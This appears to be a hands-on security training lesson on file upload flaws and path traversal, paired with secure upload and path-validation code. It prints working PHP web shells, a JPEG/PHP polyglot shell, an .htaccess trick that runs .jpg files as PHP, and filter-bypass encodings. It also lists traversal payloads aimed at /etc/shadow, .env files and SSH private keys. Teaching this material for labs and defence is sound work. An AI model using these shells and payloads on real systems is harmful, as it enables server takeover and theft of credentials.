File Upload Vulnerabilities & Path Traversal

Exploit insecure file upload features to achieve remote code execution, and use path traversal to read arbitrary server files — plus robust defense strategies.

Hard 60m 3 tasks

Learning Objectives

  • Upload a web shell by bypassing extension and MIME type validation
  • Exploit path traversal to read /etc/passwd and configuration files
  • Bypass upload filters: double extension, null byte, magic bytes
  • Understand zip slip and polyglot file attacks
  • Implement secure file upload and path validation

File Upload Vulnerabilities

Basic Web Shell Upload

<!-- shell.php — upload to get code execution -->
<?php system($_GET['cmd']); ?>

<!-- Access: https://target.com/uploads/shell.php?cmd=id -->
<!-- Response: uid=33(www-data) gid=33(www-data) -->

<!-- More powerful shell: -->
<?php echo shell_exec($_REQUEST['cmd']); ?>

<!-- Hidden PHP short tag (some servers): -->
<?= system($_GET['cmd']); ?>

Bypassing Extension Filters

1. Alternative extensions
   .php  .php3, .php4, .php5, .phtml, .phar
   .asp  .aspx, .asmx
   .jsp  .jspx

2. Double extension
   shell.php.jpg        server saves as-is, some configs execute PHP
   shell.jpg.php        obvious, but try

3. Case manipulation
   shell.PHP, shell.Php, shell.pHp

4. Null byte (legacy PHP/C):
   shell.php%00.jpg
   filename: shell.php\x00.jpg
    Old PHP truncates at null: saves as shell.php

5. Extra periods/spaces:
   shell.php.
   shell.php%20
   shell. php (Windows may ignore trailing space/dot)

6. Overriding config (if directory listing/upload to root):
   Upload .htaccess:
     AddType application/x-httpd-php .jpg
   Now all .jpg files in that directory execute as PHP!

MIME Type Bypass

# Weak validation: checks Content-Type header only (attacker controls!)
if file.content_type != "image/jpeg":
    return "Only JPEG allowed"

# Bypass: intercept upload, change header to image/jpeg
# Upload shell.php but set Content-Type: image/jpeg → accepted

# Better validation: check magic bytes (file signature):
def is_jpeg(data: bytes) -> bool:
    return data[:2] == b'ÿØ'   # JPEG magic bytes

# Common magic bytes:
# JPEG: FF D8
# PNG:  89 50 4E 47 0D 0A 1A 0A  (‰PNG)
# GIF:  47 49 46 38               (GIF8)
# PDF:  25 50 44 46               (%PDF)
# ZIP:  50 4B 03 04               (PK)

# Polyglot bypass: valid image AND valid PHP
# Prepend JPEG header to PHP code:
ÿØÿà<?php system($_GET['cmd']); ?>
# Passes magic byte check but PHP executes the script part!

Race Condition Upload

Some servers:
1. Save file temporarily
2. Check file type
3. Delete if bad, keep if good

Attack:
1. Upload shell.php  server saves it
2. Immediately (race!) GET /uploads/shell.php?cmd=id
3. Before server deletes it, shell executes

Use: turbo intruder (Burp), parallel requests

Zip Slip

# Zip archives can contain path traversal entries:
# Entry name: ../../var/www/html/shell.php

import zipfile
# Vulnerable extraction:
with zipfile.ZipFile("upload.zip") as z:
    z.extractall("/uploads/")  # extracts ../../var/www/html/shell.php!

# Fix: validate paths before extraction
def safe_extract(zf, path):
    for member in zf.namelist():
        member_path = os.path.realpath(os.path.join(path, member))
        if not member_path.startswith(os.path.realpath(path)):
            raise ValueError(f"Zip slip: {member}")

Path Traversal (Directory Traversal)

Basic Traversal

# Vulnerable endpoint:
GET /download?file=report.pdf
 Server reads: /var/www/files/report.pdf

# Attack:
GET /download?file=../../../etc/passwd
 Server reads: /var/www/files/../../../etc/passwd  /etc/passwd

GET /download?file=../../etc/shadow          (root passwords)
GET /download?file=../../var/www/html/.env   (app secrets)
GET /download?file=../../proc/self/environ   (environment vars: secrets)
GET /download?file=../../home/user/.ssh/id_rsa  (SSH private key)

Traversal Filter Bypass

1. URL encoding:
   %2e%2e%2f = ../
   %2e%2e/   = ../
   ..%2f     = ../
   %252e%252e%252f = double-encoded ../

2. Non-standard paths (Windows):
   ..\  (backslash)
   ..%5c (URL-encoded backslash)

3. Null byte (legacy):
   ../../../etc/passwd%00.jpg

4. Nested traversal (if filter strips ../ once):
   ....//  after strip: ../
   ..././  after strip: ../

5. Absolute path:
   /etc/passwd  if server just uses the path directly

6. UNC paths (Windows):
   \attacker\share\shell.php

Sensitive Files to Target

Linux:
/etc/passwd                        (user accounts)
/etc/shadow                        (hashed passwords  root only)
/etc/hosts                         (hostfile)
/proc/self/environ                 (environment variables, secrets)
/proc/self/cmdline                 (running command)
/var/www/html/.env                 (application secrets, DB passwords)
/var/www/html/config.php           (database credentials)
/home/user/.ssh/id_rsa             (SSH private key)
~/.bash_history                    (command history)

Windows:
C:\Windows\System32\drivers\etc\hosts
C:\inetpub\wwwroot\web.config      (ASP.NET connection strings)
C:\Windows\win.ini

Secure File Upload

import os, uuid, imghdr
from werkzeug.utils import secure_filename

ALLOWED_EXTENSIONS = {"jpg", "jpeg", "png", "gif"}
ALLOWED_MAGIC = {b"ÿØ": "jpeg", b"‰PNG": "png", b"GIF8": "gif"}
UPLOAD_FOLDER = "/var/uploads"

def validate_file(file):
    # 1. Check extension (allowlist, not blocklist)
    ext = file.filename.rsplit(".", 1)[-1].lower()
    if ext not in ALLOWED_EXTENSIONS:
        raise ValueError("Extension not allowed")

    # 2. Check magic bytes
    header = file.read(8); file.seek(0)
    if not any(header.startswith(m) for m in ALLOWED_MAGIC):
        raise ValueError("Invalid file type")

    # 3. Limit size (before reading)
    # 4. Sanitize filename — never use user-provided name directly
    safe_name = f"{uuid.uuid4().hex}.{ext}"  # random name

    # 5. Store outside webroot (not accessible via URL)
    path = os.path.join(UPLOAD_FOLDER, safe_name)
    file.save(path)

    # 6. Serve via API, not directly (or via nginx with noexec)
    return safe_name

# Secure path traversal prevention:
def safe_file_path(base_dir: str, user_input: str) -> str:
    safe = os.path.realpath(os.path.join(base_dir, user_input))
    if not safe.startswith(os.path.realpath(base_dir)):
        raise ValueError("Path traversal detected")
    return safe

On a file upload challenge (DVWA File Upload or PortSwigger lab): (1) attempt to upload shell.php — observe the error, (2) bypass extension filter with .php5 or .phtml, (3) bypass MIME type check with Burp: change Content-Type to image/jpeg, (4) create a polyglot file: JPEG magic bytes + PHP code, (5) access the uploaded shell and execute commands.

✦ Answer the questions to complete this task

What is a polyglot file attack?

Why should uploaded files be stored outside the webroot?

Test a /download?file= endpoint for path traversal: (1) try ../../../etc/passwd and observe result, (2) try URL-encoded (%2e%2e%2f), (3) try double-encoded (%252e%252e%252f), (4) try nested ....// if simple traversal is filtered, (5) read .env file for secrets, (6) implement the fix: realpath() check and os.path.abspath() validation.

✦ Answer the questions to complete this task

What does os.path.realpath() do and why is it used for traversal prevention?

Build a zip file with a path traversal entry: (1) create a malicious zip with zipinfo names like ../../var/www/html/shell.php, (2) test a vulnerable extraction that uses z.extractall() without validation, (3) verify shell.php is written to the web directory, (4) implement safe_extract() that checks each member path stays within the extraction directory.

✦ Answer the questions to complete this task

What Python function reveals the true absolute path of a zip member?

💪 Exercises & Challenges

📝 MCQ Medium +20 XP

File Upload & Path Traversal MCQ

File Upload & Path Traversal MCQ

Start →
⚙️ Practical Medium +30 XP

Secure File Upload Implementation

Secure File Upload Implementation

Start →
🚩 Challenge Hard +50 XP

Path Traversal to RCE

Path Traversal to RCE

Start →